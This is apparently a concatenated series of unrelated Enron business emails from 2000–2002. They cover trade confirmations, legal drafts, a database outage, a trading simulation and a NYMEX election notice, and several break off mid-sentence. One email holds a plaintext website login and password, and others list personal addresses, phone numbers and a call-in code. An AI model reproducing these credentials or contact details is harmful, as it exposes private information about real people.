In order to eliminate service disruptions, please apply a completed label to the envelope or box, in accordance with previously communicated shipping instructions.  When utilizing the shipping documentation available at the letter center, please include the Enron account number and your company code and cost center in the reference fields.  

Pick up times at the letter centers are 7:45 p.m. for Three Allen Center and 8:00 p.m. for the Enron Building, Monday through Friday.

If you have any questions, please feel free to contact Glenn Lewis, Global Strategic Sourcing contract manager at 713-646-7512.

Kim, do you have an estimated completion date for the commodities where the 
notation is that information is being compiled?  My guess would be that the 
one commodity that is up-to-date (financial power) is the one with the lowest 
number of transactions.  That means that the lion's share of the work is 
still to be done.  Are we staffed to get this completed in a timely manner?  
As I mentioned to you before, I would not hesitate enlisting Jeff Sorenson to 
do much of catch up work if we are short on people to get this done 
promptly.  Let me know if you need his help, and I will visit with Brent 
Price.  I know that Brent would support Jeff's involvement to get his caught 
up.  

Who specifically will be responsible on an on-going basis to handle for the 
RMT Confirmations?   Will we have some sort of report that we can send to 
Stephen each month that will indicate the completion of this task so that he 
is comfortable on an on-going basis that this is being kept up-to-date?  
--Sally 

   Kim S Theriot                12/27/2000 05:51 PM

To: Stephen H Douglas/HOU/ECT@ECT
cc: Sally Beck/HOU/ECT@ECT, Larry Joe Hunter/HOU/ECT@ECT, Leslie 
Reeves/HOU/ECT@ECT, Bob Bowen/HOU/ECT@ECT, Laurel Adams/HOU/ECT@ECT, Sheila 
Glover/HOU/ECT@ECT, Rhett Jackson/HOU/ECT@ECT 
Subject: ENA RMT Confirmations

Stephen,
As a follow-up to my earlier voicemail message, the status of the RMT 
Confirmation Project is as follows:

Financial Gas:           RMT Confirmations complete through December 1999
   Bob Bowen is working on compiling the data for 2000
Financial Power:      RMT Confirmations complete through November 2000
Financial Weather
and Liquids:  Bob Bowen is working on compiling the data for 1999 and 2000
Financial FX:                       Laurel Adams is assessing the work to 
compile the data for 1999 and 2000

From this point forward, the RMT Confirmation will be prepared on a monthly 
basis for each commodity. 

As far as the Year End RMT Project, I spoke with Bob Bowen this morning as to 
the status.  What he told me was that he was supposed to receive a file 
containing the deal information of the deals involved.  This was per the 
meeting that he attended last week.  As of this morning he had not received 
anything He stated that he was expecting the file last week but never 
received any information.  He was going to follow-up with the appropriate 
individual.  I will give you an update in the morning to make sure that he 
has the data needed to complete the project.  

If you have any further questions, please call me at ext. 31771.

Kim Theriot

Mike,

I know I'm not supposed to continue imposing on you, but if these entries are 
showing up in both places this is going to creating large problems for us, as 
well as giving persons who should not have access to brokerage/other 
agreements access to that information.  Our brokers are quite confidential.  
The only information we want to make available to all Enron employees is the 
master swap agreements.  Can you PLEASE, PLEASE take a look at this for me.  
It is very critical that this drop down works correctly.

	03/14/01 06:32 PM
		
		 cc: 
		 Subject: Re: JP Morgan Securities Inc. (Electronic Order)

You need to speak with the developer.  There is no way to control the 
inclusion of "Other Agreements" in the "All Agreements" section as the system 
is currently designed.

I am not disagreeing with you; I learned this the hard way a few months ago.  
The system is confusing.

	Tana Jones
	03/14/2001 05:47 PM
		
		 cc: 

It has been my understanding that the first section is supposed to be for 
master swap agreements only.  Having other documents listed in that section 
may be misleading to some parties who may misconstrue their use for general 
trading purposes, such as Global Contracts.  That is why we created the 
"Other Agreements" section, to house these other agreements.  My 
understanding isthat the only reason other agreements has been listed in the 
Master Swap Agreements Section is that they have been done so erroneously.  
The drop down were not created too artfully created, allowing wrong 
agreements to be put in Master Swap Agreements, which has been 
proliferating.  If my understanding is not correct, than when did the 
intentional use of that first section change?  I think putting all agreement 
is a very bad idea.

	03/14/01 05:35 PM
		
		 cc: 

Tana:  I think the agreement is listed in Section 1 (all agreements) which is 
not just Master Swap Agreements.  It is also listed in the approprate Section 
13 entry.
Hope you're enjoying Canada!

	Tana Jones
	03/14/2001 04:26 PM
		 
		 To: Samantha Boyd/NA/Enron@Enron, Cheryl Nelson/NA/Enron@Enron
		 cc: (bcc: Sara Shackleton/HOU/ECT)
		 Subject: JP Morgan Securities Inc. (Electronic Order)

The above counterparty has been created in the Financial Trading Agreements 
Database and is listed as a master swap agreement, and it's not.  It is an 
Electronic Trading Agreement and needs to be moved down to "Other 
Agreements".  Please let me know when that is done and I will delete the 
entry in  the master swap agreement database.  Thanks!

Please note the negative development below on Cornhusker/Miracle.

From: Ward, Charles 
Sent: Tuesday, September 18, 2001 8:12 AM
To: Henry, Joseph
Cc: Hill, Garrick; Zisman, Stuart; Duran, W. David; Mazowita, Mike;
Landry, Chad; Schneider, Chip; Sherman, Cris; Edison, Andrew; Miller,
Don (Asset Mktg)
Subject: Re: Miracle Status?

El Paso BOD killed due to capital sourcing uncertainty.  They have asked for an option until the midle of Feb.  Makes sense to evaluate versus an auction.  In the meantime we do need to send a call notice for their LP interest on Monday.

I believe that an auction will likely result in more litigation from Brazos but that might be a risk we are willing to take.  Don Miller noted yesterday that auctions (which were already seeing price deterioration) will possibly evolve to include financing outs.  All depends upon the speed of a recovery in the debt markets.

Chad-Please take the Cornhusker model we sent El paso and see what the NPV is on a roll forward basis.  We need to see whether we have any value issues by giving el paso a call (ie does the npv accrete as we roll forward).

Duran is set to discuss with el paso today and we will make any go forward decisions after.

Chuck

Jo Williams left me a message this morning requesting that during the morning gas control meeting that when allocations are announced that the shippers that were cut be given without Marketing asking for the information.
 I had this information this morning but no one asked for it. 
I told Jo someone had been coming to the meetings with that information available and it had been given out when asked for but she failed to remember that. I guess we should just announce who got cut when we talk about the allocations and if it gets to be too much information Marketing will let us know. 

From: 	Allen, Diana  
Sent:	Thursday, January 31, 2002 8:05 AM
Subject:	FW: NetCo Production Databases Reorg.

TJ.

Can you please let everyone know that our Power Decision Support database will be down today, and could possible stay down until tomorrow morning.  

I will notify you as soon as the database comes on line again.

Thanks,

Diana Allen
X35356

From: 	Tang, Mable  
Sent:	Wednesday, January 30, 2002 1:28 PM
To:	Allen, Diana; Poston, David; Luu, Duong; Lim, Francis S.; Krishnaswamy, Jayant; Chitradurga, Sundar; Powell, John D.; Ramesh, Ganapathy; Schomer, Chris; McKinney, Hal
Cc:	Wei, Zhiyong; Nat, Steve; Johnson, Jeff; Stock, Steve; Hillier, Bob; Berger, Michael; Charbonnet, Clement; Invedy, Tantra; Johnston, Jamey; Ritacco, Michael
Subject:	NetCo Production Databases Reorg.

Hello Everyone,

The Oracle DBA team would like request NetCo production database downtime starting tomorrow Thursday 01/31/2002 at
10am to perform database reorg.  This reorg is important to ensure efficient data access after the data cleansing effort.

Attached is the summary of the reorg work and the estimated downtime.  All NetCo production databases will be ready
no later than Friday 02/01/2002 at 7am if not earlier.

Please response with your approval by COB today.  If you have any further questions, please feel free to contact me or your dbas.

Thanks,
Mable

From: 	Charbonnet, Clement  
Sent:	Wednesday, January 30, 2002 12:03 PM
To:	DL-Oracle DBA
Subject:	Database Reorg.

Attached is the spreadsheet of the database reorg sizes.

Clement

From: 	Jacobs, Jeffrey M  (jjef) [mailto:jjef@chevrontexaco.com] 
Sent:	Friday, November 30, 2001 8:36 AM
To:	'bfrihart@enron.com'
Subject:	Stress Relief

From:  <messert1@WellsFargo.COM>
To: poynorw@WellsFargo.COM, bean@tengizchevroil.com, bjbean@mindspring.com, cmesser@ev1.net, cunsky@yahoo.com, cwdozier@securitytexas.com, GAlisotto@aol.com, rileym1@WellsFargo.COM, RICKROSE50@cs.com, rrschrimpf@aol.com
Date: Tuesday, November 27, 2001 1:51:55 GMT
Subject: 

Wonderful....play it!

>  <<stressrelief.pps>> 

Michael,

Attached please find a new Amendments to the Securities Purchase Agreement 
and the Project Development Agreement.  In order to expedite the review 
process, I am simultaneously sending copies of these documents to ENA for 
their final approval; therefore, they remain subject to further changes if 

Thank you.

 - #1283533 v4 - AMENDMENT NO 3 TO PDA.doc
 - #1283523 v7 - AMENDMENT NO 2 TO SPA.doc

Thanks.  As you know, I'm in the negotiations.  It's the best chance there is 
to 1) get a real market and 2) keep Edison out of bankruptcy.  Whether 
California can execute on it is another story.  But we're trying damned hard 
to make it happen.  IEP should support it.  Anything that you can do with Jan 
would be useful and appreciated.

Best,
Jeff

	07/05/2001 12:12 PM
		 
		 cc: 
		 Subject: Final draft/letter

I did not see you on the distribution.  Comments?

----- Forwarded by David Parquet/SF/ECT on 07/05/2001 10:12 AM -----

	"Jan Smutny-Jones" <smutny@iepa.com>
	06/28/2001 10:58 AM
	Please respond to smutny
		 
		 To: "'Alex Sugaoka (E-mail)'" <alex.sugaoka@uaecorp.com>, "'Bill Woods 
(E-mail)'" <billw@calpine.com>, "'Bob Ellery (E-mail)'" 
<bellery@spi-ind.com>, "'Bob Escalante (E-mail)'" 
<rescalante@riobravo-gm.com>, "'Bob Gates (E-mail)'" <bob.gates@enron.com>, 
"'Carolyn A Baker (E-mail)'" <cabaker@duke-energy.com>, "Charles Linthicum 
(E-mail)" <charles.linthicum@powersrc.com>, "'Cody Carter (E-mail)'" 
<Curt.Hatton@gen.pge.com>, "'Curtis Kebler (E-mail)'" 
<david.parquet@enron.com>, "'Dean Gosselin (E-mail)'" 
<dean_gosselin@fpl.com>, "'Douglas Kerner (E-mail)'" <dkk@eslawfirm.com>, 
"'Duane Nelsen (E-mail)'" <dnelsen@gwfpower.com>, "'Ed Tomeo (E-mail)'" 
<ed.tomeo@uaecorp.com>, "'Eileen Koch (E-mail)'" <eileenk@calpine.com>, 
"'Eric Eisenman (E-mail)'" <eric.eisenman@gen.pge.com>, "'Frank DeRosa 
(E-mail)'" <frank.derosa@gen.pge.com>, "'Greg Blue (E-mail)'" 
<gtbl@dynegy.com>, "'Hap Boyd (E-mail)'" <Hap_Boyd@enron.com>, "'Hawks Jack 
(E-mail)'" <jack.hawks@gen.pge.com>, "'Jack Pigott (E-mail)'" 
<jackp@calpine.com>, "'Jim Willey (E-mail)'" <elliottsa@earthlink.net>, "'Joe 
Greco (E-mail)'" <jgreco@caithnessenergy.com>, "'Joe Ronan (E-mail)'" 
<joer@calpine.com>, "'John Stout (E-mail)'" <john_h_stout@reliantenergy.com>, 
"'Jonathan Weisgall (E-mail)'" <jweisgall@aol.com>, "Kate Castillo (E-mail)" 
<CCastillo@riobravo-gm.com>, "'Kelly Lloyd (E-mail)'" <kellyl@enxco.com>, 
"'Ken Hoffman (E-mail)'" <khoffman@caithnessenergy.com>, "'Kent Fickett 
(E-mail)'" <kfickett@usgen.com>, "'Kent Palmerton'" 
<kent.palmerton@williams.com>, "'Lynn Lednicky (E-mail)'" 
<lynn.a.lednicky@dynegy.com>, "Mark Fillinger (E-mail)" 
<mark.fillinger@enron.com>, "Marty McFadden (E-mail)" 
<mmcfadden@covantaenergy.com>, "Paul Desrochers (E-mail)" 
<pdesrochers@thermoecotek.com>, "Paula Soos (E-mail)" 
<psoos@covantaenergy.com>, "'Randy Hickok (E-mail)'" 
<rjhickok@duke-energy.com>, "'Roger Pelote (E-mail)'" 
<roger.pelote@williams.com>, "'Ross Ain (E-mail)'" <ain@worldnet.att.net>, 
"Scott Sadler (E-mail)" <sadlersa@earthlink.net>, "'Stephanie Newell 
(E-mail)'" <stephanie-newell@reliantenergy.com>, "Steve Iliff (E-mail)" 
<siliff@riobravo-gm.com>, "'Steve Ponder (E-mail)'" <steve_ponder@fpl.com>, 
"'Susan J Mara (E-mail)'" <smara@enron.com>, "Thomas R. McMorrow (E-mail)" 
<tmcmorrow@manatt.com>, "'Tony Wetzel (E-mail)'" <twetzel@thermoecotek.com>, 
"William Carlson (E-mail)" <wcarlson@wm.com>, "William Hall (E-mail)" 
<wfhall2@duke-energy.com>
		 cc: "Steven Kelly (E-mail)" <steven@iepa.com>, "Andy Brown (E-mail)" 
<abb@eslawfirm.com>, "'Carol Hudson (E-mail)'" <carol@iepa.com>, "'Jan 
Smutny-Jones (E-mail)'" <smutny@iepa.com>, "Jean Munoz (E-mail)" 
<jmunoz@mcnallytemple.com>, "'Katie Kaplan (E-mail)'" <kaplan@iepa.com>, 
"Sandra Moseley (E-mail)" <sandra@iepa.com>

The attached is the final product of the discussions which have been
occurring between the various consumer groups attempting to keep Edsion
solvent while retaining some potential for direct access.  IEP has
participated in some of these discussions.
IEP is being asked to sign this letter. It is time sensitive because of
pending PUC action on Direct Access.

Therefore I am calling an emergency Board Call for TODAY THURSDAY 6/28/01
3:00 pm PST.

Call-in number: 1-877-288-4427
Participant Code: 934948

 - CLEAN Draft Issues Outline 6-27-01.doc

Dutch ---

I need to cancel a deal where East-CNG sold 10,000 Jun NX at 4.20.  It was a limit order that EOL never recognized, but during all that turmoil, somehow got executed, about 30-40 minutes later.

Scott

Look at the cc.  I'm an idiot.
---------------------- Forwarded by Daren J Farmer/HOU/ECT on 02/16/2000 

02/16/2000 10:14 AM
cc: Stacey Neuman/HOU/ECT@ECT 
Subject: Mtg: Customer Trip

Heather, 

I will be at an offsite meeting today.  Stacey Neuweiller will attend in my 
place.  Leave me a voicemail if you need me to do anything.  Thanks.

D

Heather Choate
02/15/2000 04:20 PM
To: George Smith/HOU/ECT@ECT, Maria Garza/HOU/ECT@ECT, Charles T 
Muzzy/HOU/ECT@ECT, Rhonda Smith/HOU/ECT@ECT, Mark L Schrab/HOU/ECT@ECT, Jeff 
D Davis/HOU/ECT@ECT, Lisa Kinsey/HOU/ECT@ECT, Benjamin Markey/HOU/ECT@ECT, 
Margie Straight/HOU/ECT@ECT, Michelle Zhang/HOU/ECT@ECT, Reyna 
Cabrera/HOU/ECT@ECT, Darren Espey/Corp/Enron@ENRON, Cora 
Pendergrass/Corp/Enron@ENRON, Alex Saldana/HOU/ECT@ECT, Kimberly 
Vaughn/HOU/ECT@ECT, Pat Clynes/Corp/Enron@ENRON, Daren J Farmer/HOU/ECT@ECT
cc: Chantelle Villanueva/HOU/ECT@ECT 

  Please plan to attend a meeting to discuss the Customer Trip 

 Wednesday, February 16, 2000
 at 3pm in EB3084 

   Thanks! Heather, x33278

FYI- since you didn't take care of business

Sent:	Tuesday, November 27, 2001 9:24 AM
To:	Hatten, Micah
Subject:	Bet

Since you never gave me the $20 for the last time we bet on CU/Texas, I figured I would give you the chance to go double or nothing on the second round.  I think the line is Texas -9.  Let me know.

Nearly final docs.

The change they want in the LLC is the addition of a statement indicating 
that for tax purposes this is a  single member LLC, or something like that.

The promissory note is felt to be necessary due to the adjustment mechanism 
for any change orders.  Has something to do with them getting all the basis.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/19/2001 06:34 

"Wright, Tremaine S." <TremaineWright@paulhastings.com> on 04/18/2001 
08:16:49 PM
To: "'chris.booth@enron.com'" <chris.booth@enron.com>, "'kay.mann@enron.com'" 
<kay.mann@enron.com>, "'michael.young@northwestern.com'" 
<michael.young@northwestern.com>, "'jkeffer@kslaw.com'" <jkeffer@kslaw.com>, 
cc: "Kahn, Marguerite R." <MargueriteKahn@paulhastings.com>, "DeBerry, 
Jeremiah A." <JeremiahDeberry@paulhastings.com> 

1. We are attaching revised drafts (in clean and marked forms) of the
  Letter Agreement   NY/333343 (3v2 Firm Style)
  ENA Promissory Note NY/333403 (3v2 Firm Style)
  NorSub Promissory Note NY/333404 (3v2 Firm Style)

2.  We will circulate a revised draft of the LLC Agreement after discussion
with John Keffer of a matter raised with him earlier today.

3.  We believe the NorthWestern Guaranty and the Escrow Agreement are in
final form (in the forms last circulated).

4.  We await a revised draft of the Assignment and Assumption Agreement.

 <<blackline - Letter Agreement.DOC>>  <<Letter Agreement.DOC>>  <<blackline
- ENA Note.DOC>>  <<E-Note.DOC>>  <<blackline - NorSub Promissory Note.DOC>>
 <<Promissory Note.DOC>>

"paulhastings.com" made the following annotations on 04/18/01 21:17:00

We have changed our e-mail address.  Our new domain name is 
paulhastings.com.  In most cases, our address is composed of conventional 
first name and last name plus @paulhastings.com.  Here are two examples: 
janesmith@paulhastings.com and danjones@paulhastings.com.  If you have any 
questions, please contact us at noc@paulhastings.com.

"The information transmitted is intended only for the person or entity to 
which it is addressed and may contain confidential and/or privileged 
material. Any review, retransmission, dissemination or other use of, or 
taking of any action in reliance upon, this information by persons or 
entities other than the intended recipient is prohibited. If you received 
this in error, please contact the sender and delete the material from all 
computers."

 - blackline - Letter Agreement.DOC
 - Letter Agreement.DOC
 - blackline - ENA Note.DOC
 - E-Note.DOC
 - blackline - NorSub Promissory Note.DOC
 - Promissory Note.DOC

As we discussed, attached is the new list of proposed reference entities.  I 
have also attached my previous memo outlining the propsosed business and our 
concerns.  

Thanks, Maryse.  This is very helpful.  

Maryse_Zwick@weforum.org on 05/17/2000 12:45:16 PM
To: klay@enron.com
cc:  
Subject: Re: World Economic Forum Briefing of the China Business Summit 2000

The Council meeting in Geneva will take place on 31 August-1 September. As
is a tradition, it will start with a dinner on Thursday 31 August and end
on Friday 1 September at around 3 pm, so that the Council members can still
return home for the weekend.
A detailed agenda and further information will be sent out in the next
weeks.
I hope that this preliminary information will be of help to you. If you
have any specific questions, please do not hesitate to contact me.
Maryse
Executive Assistant to the President

---------------------- Forwarded by Maryse Zwick/World Economic Forum on
17/05/2000 19:41 ---------------------------

Fabienne Chanavat
17/05/2000 16:31

To:   Maryse Zwick/World Economic Forum@WEF
cc:

Subject:  Re: World Economic Forum Briefing of the China Business Summit
      2000

---------------------- Forwarded by Fabienne Chanavat/World Economic Forum
on 17/05/2000 16:28 ---------------------------

Rosalee.Fleming@enron.com on 17/05/2000 15:31:48

To:   "Claude Smadja, Managing Director"<contact@weforum.org>
cc:

      2000

Mr. Smadja -

You may not be the person to ask, but I am trying to get information for
Dr. Lay for the World Economic Forum Advisory Council meeting in Geneva in
late August.  Can someone please send Dr. Lay a schedule, so he can plan
accordingly?

Thank you.

Rosalee Fleming

"Claude Smadja, Managing Director"<contact@weforum.org> on 05/17/2000
05:56:11 AM

To:   <klay@enron.com>
cc:
Subject:  World Economic Forum Briefing of the China Business Summit 2000

To the attention of:
Dr Kenneth L. Lay
Chairman and Chief Executive Officer
ENRON CORPORATION

Dear Dr Lay,

As you were unable to participate in the China Business Summit this year, I
would like to remind you that you can find information of interest,
including the China Briefing at: http://www.weforum.org/chinabriefing on
our website.

As a reminder here is also your login and password:

Login: 31594

Password: 90ZJ4XQS

Claude Smadja
World Economic Forum

ARTICLES INCLUDED IN THE BINDER

FYI ARTICLES - NOT INCLUDED IN BINDER    ARTICLES EMAILED TO REBECCA SMITH - 
WSJ

 Organization Announcement 

 It is my pleasure to announce that Kenneth Lovejoy has joined Enron Corp. 
EH&S Asset Operations.  He will be reporting directly to Donnie Willmann and  
will support Central America, Caribbean and EES.  Ken has over 25 year 
experience in environmental, health and safety for the oil and gas 
industry.   He has been working for Enron since 1996 and has extensive 
international experience.    We are excited to have Ken in our team so, 
please welcome Ken in his new role.

Henry  Van

Start Date: 4/6/01; HourAhead hour: 11;  No ancillary schedules awarded.  

Schedules\2001040611.txt

     Details: (Hour: 11 / Preferred:  12.00 / Final:  11.65)

     Details: (Hour: 11 / Preferred:  12.00 / Final:  11.98)

     Details:

  DEAL_NO: 1

How well do you know our Code of Ethics?

"It is a condition of employment that each employee accept the responsibility of complying with the foregoing policies.  The Company will require each employee of the Company to complete and submit a statement in a form designated by the Company pertaining to such employee's compliance with the policies set forth in this booklet.  The Company reserves the right to request any employee to complete and submit such statement at any time or as frequently as the Company may deem advisable."
(Enron Code of Ethics, July 2000, page 62)

What does that mean?

In layman's terms, everyone employed by Enron agrees to all the policies and standards listed in the current Code of Ethics (July 2000).

Who does it apply to?

The Code of Ethics applies to all employees, third party contractors, guests and licensees of Enron.  Additionally, employees are responsible for their family members and/or personal household who use, own, or have access to Enron's communication services and equipment -- including telephones, fax machines, computers, computer modems, long distance telephone services, cell phones, voice mail, pagers, e-mail, mail and delivery services.

What about my privacy?

Don't expect privacy when using Enron's equipment or services -- whether the activity is business or non-business related.  For example, don't use Enron's equipment to send or receive personal messages that you don't want monitored or accessed by the government, third parties or Enron.  In a nutshell, if you want privacy, don't use Enron's equipment.

Are there repercussions for non-compliance?

Yes.  An employee who violates any of the policies in the Code of Ethics is subject to disciplinary action, including suspension or termination of employment, and can include legal action if Enron believes it to be appropriate under the circumstances.

If you have any questions or comments about IT security or a related issue, please feel free to put them into eMeet (http://nahou-lnapp01.corp.enron.com/eThink/eMeet.nsf) under the "IT Security" category.  We'll monitor the site and respond to you there.

Mike:

Attached are executed change orders. There was a very minor change to CO2 in 
2.7 and a formatting change. I don't think you'll have an issue. Please 
review and indicate your authorization for us to sign via return e-mail as 
soon as possible. Thanks.

Ben

 - 26842m.tif

 - 26852m.tif

Jeff,

since Dutch is still out could you take care of this ??  I'm not exactly sure 
what he is talking about.  The trades should be part of a spread in whcich 
reliant is also buying or selling the hub.  
Thanks

---------------------- Forwarded by Peter F Keavey/HOU/ECT on 12/07/2000 
07:03 AM ---------------------------
   
	From:  Larry Joe Hunter                           12/06/2000 08:36 PM
	
To: Peter F Keavey/HOU/ECT@ECT
cc: Kam Keiser/HOU/ECT@ECT, William Kelly/HOU/ECT@ECT, Jeffrey C 
Gossett/HOU/ECT@ECT 
Subject: EOL trades doubled up?

Pete,

I'm seeing some trades with your name as Trader which are at extremely high 
prices.   Transco Z6 vs. Henry Hub trades at prices of $15.6025 from Trade 
Date of 12/5.  Are these errors?  EOL numbers are 658961 and 658985 (both 
with Reliant).  No confirmation has been sent on these.  Please have your 
Book Admin notify me as soon as you get a chance to look at these.

Thanks,
Joe Hunter

RE: ROCKY MOUNTAIN 2nd QUARTER PRODUCTION REPORT

Lippman Consulting, Inc. has just completed the Rocky Mountain 2nd     
Quarter of 2001 Production Report. This report contains historical volumes 
for each of the 11 producing basins contained in the Rocky Mountain Region. 
This report contains over 25 pages of text and graphs depicting various 
statistics, Drilling programs by operator, number of wells first delivered in 
each basin, rig activities as well as monthly gas production volumes are 
fully illustrated. Production volumes are reported both annually and 
quarterly.   

The cost for the report is $300 per quarter when order on an annual 
subscription or you can order on a one time basis for $450.  If you would 
like additional information or to order this report or any other report, 
please feel free to contact me by e-mail at Lippmanc@AOL.com or phone at 
915-581-1668.

George Lippman, 
President 
Lippman Consulting, Inc.

Preparations are continuing for our simulation on Thursday, Feb. 7 from 9-11 am.

During the simulation, you will be able to use your normal, "live" Stack Manager User ID and password, which will be emailed to you separately.

The attached word document below provides a basic review on Accessing the Stack Manager.  You should manage the same products as you normally would, even if those products are not expected to be going live on our initial launch day. If you have products that need to be created, please contact Kevin Meredith (3-9555) or Chris Walker (3-7533) with UBSWenergy.com immediately.

Trading Goals - for all traders participating in the simulation.
Log into the stack manager on Wednesday afternoon and ensure that your products are ready to be activated on Thursday morning. We will send you a reminder on Wednesday to advise you of the time when the application will be available.
Start and end with a flat position
Make markets in your respective products
Maintain tight spreads in the products you manage

NON-UBS PERSONNEL WILL NOT BE ABLE TO SEE OR TRANSACT ON PRODUCTS DURING THE SIMULATION.

Internal Originators will be playing the roles of customers and will be hitting your stacks throughout the simulation.  You will also be able to trade book to book via the website with your website User ID and password which will also be emailed separately.

Market "News" events may be emailed to you at certain points throughout the simulation (e.g. "storm in the gulf").

Immediately after the simulation, the website will be inactivated, so that the operations group can test the mid/back-office systems, while the IT groups clean-up the transaction data from the simulation. 

The system will be made available again for live, internal trading (book to book) between traders on Friday, February 8, 2002. FRIDAY'S TRADES ARE FOR REAL.

If you can't log into any application on the day or are having trouble with your systems, please contact the UBSWenergy.com Help Desk immediately at 713.584.4444

Regards,
UBSWenergy.com

Patricia,

Sara is unable to open your attachment.  Could you please fax the information 
to her.  The fax number is 713-646-3490.

Thank you,

Kaye

"LOPEZ AUFRANC, Patricia" <PLA@marval.com.ar> on 03/22/2000 02:46:52 PM
cc:  
Subject: sellosisda.doc

 Sara:  Answer to your queries attached.  Best regards Patricia

 - att1.unk

Please add "Angela Davis" to the distribution list (angela.davis@enron.com).  

	10/31/2000 03:55 PM
		 
		 To: "David Barbour" <BARBD@andrews-kurth.com>, "DEBORAH LOWE" 
<LOWED@andrews-kurth.com>, "MURIEL McFARLING" <MCFAM@andrews-kurth.com>, 
"Danny Sullivan" <SULLD@andrews-kurth.com>, <Alan.Quaintance@enron.com>, 
<annmarie.tiller@enron.com>, <bill.bowes@enron.com>, 
<brenda.l.funk@enron.com>, <brent.vasconcellos@enron.com>, 
<charles.delacey@enron.com>, <Gareth.Bahlmann@enron.com>, 
<Gina.Karathanos@enron.com>, <sara.shackleton@enron.com>, 
<Trushar.Patel@enron.com>, <lkao@mayerbrown.com>, 
<mniebruegge@mayerbrown.com>, <tellwood@mayerbrown.com>, 
<eawilburn@prickett.com>, <Tamullen@prickett.com>, <kenton@rlf.com>, 
<mark.wolf@us.cibc.com>, <mercedes.arango@us.cibc.com>, 
<schottla@us.cibc.com>, <ARoberts@WilmingtonTrust.com>, 
<Jlawler@wilmingtontrust.com>
		 cc: 
		 Subject: Enron/Hawaii II 125-0 Trust

Attached in WordPerfect format are Hawaii II 125-O Trust documents marked 
against the previous version circulated last week:

Closing Checklist (266026)
Distribution Agreement (265277)
Schedule to ISDA Master Agmt (265279)
Beneficial Interest Certificate (265276)
RADA (265275)
Second Amended and Restated Trust Agmt (265272)
Facility Agreement (265273)
Ex. F to Facility Agmt (Independent Auctioneer) (266746)
Ex. G to Facility Agmt (Swap Confirmation) (266745)
Ex. H to Facility Agmt (Transfer and Auction Agmt) (266163)
Ex. I, Part A to Facility Agmt (LLC Agmt) (266143)
Ex. I, Part B to Facility Agmt (LLC Agmt) (266137)
Subscription Agmt (265278)

 - 266746.wpd
 - 265273.wpd
 - 265275.wpd
 - 265276.wpd
 - 265277.wpd
 - 265278.wpd
 - 265279.wpd
 - 266026.wpd
 - 266137.wpd
 - 266143.wpd
 - 266163.wpd
 - 266745.wpd
 - 265272.wpd

January 16, 2002
Notice No.:  02-23

Initial List of Proposed Nominees for Election
to the Board of Directors of NYMEX Holdings, Inc.

Please be advised that the following persons were recommended as proposed
nominees for the 2002 elections:

1.  Recommended as Proposed Nominees for "VICE CHAIRMAN of the Board":
				(ONE three-year term)

				Robert Coakley	(SWIM)
				Mitchell Steinhause	(STEN)

2.  Recommended as Proposed Nominees for "Director":

PUBLIC
(ONE three-year term)
Melvyn Falis

FCM
Richard Schaeffer	(SHAF)

LOCAL
Kevin McDonnell	(KMAC)

FLOOR BROKER
Steven Karvellas	(KVL)

TRADE
(ONE three-year term/ONE two-year term)
Jeffrey Beicker
Stephen Forman
George Gero		(ANT)

EQUITY HOLDER
Joseph Cicchetti

AT LARGE
Eric Bolling		(RBI)
Richard Buccellato	(BUCC)
Michael Cardelfe	(MFC)
Daniel Dicker		(DANO)

Additional written recommendations by stockholders for proposed nominees may
be submitted to the Subcommittee (c/o the Donna Talamo, Office of the
Corporate Secretary, One North End Avenue, Room 1563, New York, NY 10282 or
by fax 212-301-4645) by 5:00 p.m. on January 22, 2002.  Thereafter, a final
list of recommended names and the categories in which they are proposed to
run will be immediately posted.

NO PERSON WHOSE NAME HAS NOT BEEN SUBMITTED BY 5:00 P.M. ON TUESDAY, JANUARY
22, 2002 WILL BE PERMITTED TO STAND FOR ELECTION.  IN ADDITION, NO PERSON
WHOSE NAME HAS NOT BEEN RECOMMENDED TO RUN FOR VICE CHAIRMAN BY THAT DATE
WILL BE PERMITTED TO RUN FOR THAT OFFICE.

Please note that in order to qualify as a Public Director, a person must be
knowledgeable of futures trading or financial regulation or otherwise
capable of contributing to the deliberations of the Board of Directors and
may not be a member of the Exchange or affiliated with any member of the
Exchange or an employee of the Exchange.

After January 22, 2002, the Subcommittee will convene to make its
determination as to the eligibility of the proposed nominees to run in the
category for which he was proposed or otherwise.   Such determination will
be immediately posted.  Should the Subcommittee determine that a proposed
candidate is ineligible to run in the category for which he was recommended,
written notice thereof shall immediately be submitted to
that person.  To assist the Subcommittee, NYMEX members may submit
information regarding the eligibility of a proposed nominee to the
Subcommittee.  All such submissions must be received by 5:00 p.m. on January
29, 2002 at the Office of the Corporate Secretary.  In addition, a proposed
nominee may appeal the Subcommittee's categorization.  Such appeal must be
made by 5:00 p.m. on February 1, 2002.  The
Subcommittee will consider the appeal and make a final ruling no later than
February 5, 2002.  At that time, the Subcommittee will assign the proposed
nominees to the proper categories, regardless of the category for which the
proposed nominee was originally
recommended; however, only persons who were recommended to be candidates for
Vice Chairman are eligible to run for that office.

TO BE OFFICIALLY NOMINATED, EACH PROPOSED NOMINEE WILL BE REQUIRED TO FILE
WITH THE OFFICE OF THE CORPORATE SECRETARY A DECLARATION WHICH STATES THAT
CATEGORY IN WHICH THE PERSON INTENDS TO STAND FOR ELECTION.  FAILURE TO
SUBMIT A DECLARATION TO THE OFFICE OF THE CORPORATE SECRETARY BY 5:00 P.M.
ON FRIDAY FEBRUARY 8, 2002 WILL RENDER THE PROPOSED NOMINEE INELIGIBLE TO
RUN IN ANY CATEGORY.

Note, only those persons who were proposed by January 22, 2002 will be
permitted to be officially nominated.

Ballots will be mailed on or about February 26, 2002.

The election will be held on Tuesday, March 19, 2002.

Should you have any questions regarding the above, please contact
Christopher Bowen at (212) 299-2200 or Donna Talamo at (212) 299-2372.

At the request of Sara Shackleton, I am attaching our current from of ISDA 
Schedule for governmental entities and our sample form of legal opinion for 
such entities.  With respect to NYPA, we do have a copy of an authorization 
to hedge approved by the Board of Trustees of NYPA that they faxed us a year 
ago and I will fax a copy of it over to you shortly.

Dave,
 
Please disregard the previous version sent earlier for CC.  I have made a few 
changes.   This version is good to go.

Thanks!   

                 Your wired funds arrived today. Call at your convenience for  implementation.
 
                 David 
**** Important Notice to Recipients **** 
It is important that you do not use e-mail to request, authorize or effect the purchase or sale of any security or commodity, to send fund transfer instructions, or to effect any other transactions.  Any such request, orders, or instructions that you send will not be accepted and will not be processed by Morgan Stanley. 
**************************************** 

 - Morgan Stanley Background.gif 

The attached legal report summarizes current significant legal activities of 
Enron Energy Services as of November 15, 2000.  This report does not attempt 
to list all transactions or include reference to ongoing maintenance of 
completed transactions.  Additional and/or more detailed information is 
